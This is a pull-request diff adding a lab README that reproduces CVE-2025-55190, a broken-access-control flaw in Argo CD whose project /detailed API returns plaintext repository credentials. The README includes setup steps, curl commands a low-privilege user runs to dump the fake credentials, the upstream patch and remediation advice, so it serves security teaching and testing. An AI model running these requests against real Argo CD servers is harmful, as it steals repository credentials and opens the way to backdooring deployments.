Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added argocd/CVE-2025-55190/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added argocd/CVE-2025-55190/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added argocd/CVE-2025-55190/3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
190 changes: 190 additions & 0 deletions argocd/CVE-2025-55190/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
# Argo CD Project API Token Exposes Repository Credentials (CVE-2025-55190)

[中文版本(Chinese version)](README.zh-cn.md)

Argo CD is a popular GitOps continuous-delivery tool for Kubernetes. CI/CD pipelines commonly use its project-scoped API tokens to drive automated deployments.

CVE-2025-55190 (also tracked as GHSA-786q-9hcg-v9ff, disclosed 2025-09-04) is a broken-access-control flaw in the project details endpoint:

```text
GET /api/v1/projects/{project}/detailed
```

When this endpoint serialises the project response, it embeds every repository attached to the project, **including plaintext `username` and `password` fields**, without re-checking the caller's `repositories, get` permission and without redacting the secret fields. As a result any token (or user) that only holds `projects, get` — a permission widely granted to low-privilege automation roles — can read all Git/Helm repository credentials linked to that project.

Because Argo CD repository credentials are typically long-lived PATs or deploy keys with write access, this leak enables full GitOps supply-chain compromise: an attacker can push a backdoored manifest and let Argo CD deploy it to production on the next sync.

Affected versions:

- `>= 2.2.0-rc1` (the `/detailed` endpoint was introduced in 2.2 and has been vulnerable ever since)
- Officially patched in: **v2.13.9**, **v2.14.16**, **v3.0.14**, **v3.1.2**

This environment ships Argo CD **v2.14.15** (the last unpatched release on the v2.14 branch).

References:

- <https://github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff>
- <https://nvd.nist.gov/vuln/detail/CVE-2025-55190>
- <https://www.upwind.io/feed/cve-2025-55190-argo-cd-project-api-token-exposes-repository-credentials>

## What this lab provisions

To make the access-control comparison obvious end-to-end, the bootstrap script provisions a small but realistic GitOps setup:

- **Project**: `gitops-production` — a single Argo CD `AppProject` that pretends to own the production deploy.
- **Two repositories** attached to that project, covering both common Argo CD credential formats:

| Repo name | Type | Fake credential |
|---|---|---|
| `prod-charts-helm` | helm | `vulhub-helm-bot` / `s3cr3t-helm-pass-2025` |
| `prod-manifests-git` | git (HTTPS) | `vulhub-git-bot` / `ghp_FAKE0vulhubLEAKED2025pat0deploykey` |

- **Two demo Applications** so admin's UI is not empty and so the per-identity RBAC view is concrete:

| Application | Project | Visible to |
|---|---|---|
| `prod-guestbook` | `gitops-production` | admin, ci-sync-bot token |
| `admin-only-platform` | `default` | **only admin** (developer / CI bot have no permission on the `default` project) |

Both apps point at the public `argoproj/argocd-example-apps` repo with manual sync only — they appear in the UI but do not auto-deploy into k3s.

- **Three identities** with deliberately different power, used throughout the rest of this README:

| Identity | Type | Login credential | Permissions |
|---|---|---|---|
| `admin` | Argo CD built-in account | `admin` / `password22` | full administrator |
| `developer` | Argo CD local user | `developer` / `hunter22` | only `projects, get` on `gitops-production` (the minimum permission the CVE requires) |
| `ci-sync-bot` | project-scoped JWT token | token in `/etc/argocd-ci-sync-bot-token` | only `applications, get` + `applications, sync` (no `repositories` perm) |

The admin/developer passwords are set via environment variables at the top of `docker-compose.yml` — edit `ARGOCD_ADMIN_PASSWORD` / `ARGOCD_DEVELOPER_PASSWORD` before `docker compose up` to change them. The `ci-sync-bot` token is re-issued on each bootstrap and always written to `/etc/argocd-ci-sync-bot-token` inside the container.

The point: `developer` and `ci-sync-bot` are both low-privilege identities that **should not** be able to read repository credentials. The bug is that they can — via the `/detailed` endpoint — read every repo's username and password in plaintext.

## Environment Setup

The lab runs a single-node k3s cluster in the container; an in-container bootstrap installs Argo CD and provisions the project / repos / accounts on first start.

Build the image locally (only needed until upstream publishes it to Docker Hub), then start the environment — from this directory:

```bash
docker build -t vulhub/argocd:2.14.15 ../../base/argocd/2.14.15
docker compose up -d
```

The first start takes about **3–5 minutes** to spin up the in-container k3s (a mini Kubernetes) and install Argo CD into it.

```bash
# Wait until the bootstrap is finished (the marker file appears)
until docker compose exec k3s test -f /var/lib/vulhub-argocd/initialized; do sleep 5; done
```

Once ready, the Argo CD UI is available at `https://127.0.0.1:30443` (self-signed cert; accept the warning).

## Vulnerability Reproduction

You're going to play `developer` — a regular low-privilege account whose RBAC is a single policy: `projects, get` on `gitops-production`. That's the minimum permission Argo CD requires to *enter* the `/api/v1/projects/{project}/detailed` endpoint, and it's exactly what the CVE advisory calls out as the prerequisite. On its own it's supposed to do nothing more than "let you know the project exists" — the Applications page is empty, Settings → Repositories is empty. Now we'll show that this single innocent-looking permission hands every credential to the developer anyway.

Log in as `developer`, then confirm the standard repository API is correctly locked down:

```bash
# Log in as developer and capture the session token
DEV_TOKEN=$(curl -sk -X POST -H 'Content-Type: application/json' \
-d '{"username":"developer","password":"hunter22"}' \
https://127.0.0.1:30443/api/v1/session | jq -r .token)

# Call the standard repositories API — RBAC correctly hides everything
curl -sk -H "Authorization: Bearer $DEV_TOKEN" \
https://127.0.0.1:30443/api/v1/repositories
# {"metadata":{},"items":null} ← developer sees zero repos here, as expected
```

Now hit the vulnerable aggregator with the same token:

```bash
# Same token, vulnerable endpoint — returns every repo credential in plaintext
curl -sk -H "Authorization: Bearer $DEV_TOKEN" \
https://127.0.0.1:30443/api/v1/projects/gitops-production/detailed | jq '.repositories'
```

Both repositories' credentials are returned in plaintext:

```json
[
{ "name": "prod-charts-helm", "username": "vulhub-helm-bot", "password": "s3cr3t-helm-pass-2025", "type": "helm", ... },
{ "name": "prod-manifests-git", "username": "vulhub-git-bot", "password": "ghp_FAKE0vulhubLEAKED2025pat0deploykey", "type": "git", ... }
]
```

Same identity, same Argo CD instance — completely different answers:

| Endpoint | `developer` gets | Should be |
|---|---|---|
| UI: Settings → Repositories | empty list | empty ✓ |
| API: `/api/v1/repositories` | `{"items":null}` | empty ✓ |
| API: `/api/v1/projects/gitops-production/detailed` | **2 repos with cleartext credentials** | empty ✗ |

**That's the bug.** A developer account with `projects, get` only — no `repositories` permission — walks away with every repository password the admin UI hides behind dots.

The same dump can be obtained via the pre-issued project-scoped JWT in `/etc/argocd-ci-sync-bot-token` (representing a leaked CI/CD secret); substituting it for `$DEV_TOKEN` reproduces the identical response.

This token's only declared permissions are `applications, get` + `applications, sync` — even less than `developer` — yet it gets the same plaintext dump. (In a real incident, the token typically reaches the attacker through a leaked CI variable, a compromised pipeline log, or a fork-PR build that prints env to stdout — not through `docker exec` on the Argo CD container.)

## Browse the Argo CD UI (optional cross-check)

Open `https://127.0.0.1:30443` (accept the self-signed cert):

![Argo CD login screen](1.png)

**Log in as `admin` / `password22`** — the Applications page shows both demo apps:

![Admin view — both apps visible](2.png)

In **Settings → Repositories** the two repos are listed with `CONNECTION STATUS: Failed` (the `.invalid` hostnames don't resolve; irrelevant to the bug). Opening **Edit** on a row shows the password as masked dots — even admins don't get plaintext through the UI.

**Log out and log in as `developer` / `hunter22`** — Applications page is empty:

![Developer view — empty](3.png)

Settings → Repositories is empty too: the developer has no `applications` or `repositories` permission, so the UI shows nothing. That's exactly what RBAC is supposed to do. The bug is that the *very same account* gets every credential back through the `/detailed` API call you ran above.

## How the bug was introduced and how it was fixed

The vulnerable endpoint was introduced in Argo CD **v2.2.0** (released 2021-12-14) and remained unfixed in production releases until **2025-09-04** — roughly **3 years and 9 months of exposure** across every Argo CD install descended from the v2.2 line.

The fix landed on `master` in PR [argoproj/argo-cd#24387](https://github.com/argoproj/argo-cd/pull/24387) and was back-ported to all supported and already-EOL release branches — a strong signal of how seriously the maintainers treated this disclosure. The substantive change in `server/project/project.go` sanitises every repository and cluster before returning it from the aggregator:

```go
// before (vulnerable):
return &project.DetailedProjectsResponse{
Repositories: repositories, // raw, includes username + password
Clusters: clusters, // raw, includes AWS auth + TLS certs
}, err

// after (patched):
var apiRepos []*v1alpha1.Repository
for _, repo := range repositories {
apiRepos = append(apiRepos, repo.Normalize().Sanitized())
}
var apiClusters []*v1alpha1.Cluster
for _, cluster := range clusters {
apiClusters = append(apiClusters, cluster.Sanitized())
}
return &project.DetailedProjectsResponse{
Repositories: apiRepos,
Clusters: apiClusters,
}, err
```

## Real-world impact

The leaked credentials are typically long-lived Personal Access Tokens or deploy keys with **write** access to GitOps source repositories. An attacker who reaches a low-privilege Argo CD token (CI runner, scheduled job, automation secret) can:

1. Call `/api/v1/projects/{proj}/detailed` to harvest every repo credential attached to that project
2. Push a backdoored manifest into the GitOps source repo
3. Wait for Argo CD's next sync to deploy the backdoor into the target cluster

That promotes a low-impact token leak into full **GitOps supply-chain compromise** — equivalent to an indirect RCE in the production Kubernetes cluster, with the additional advantage that the change looks legitimate in commit history.

## Patch

In Argo CD v2.13.9, v2.14.16, v3.0.14, and v3.1.2, the `/api/v1/projects/{project}/detailed` handler routes every repository and cluster through a sanitiser that strips secret fields before serialisation. Operators who cannot upgrade immediately should at minimum audit every project-scoped token (and any user role that holds `projects, get`) and rotate all repository credentials, on the assumption that they may already have been exfiltrated.
Loading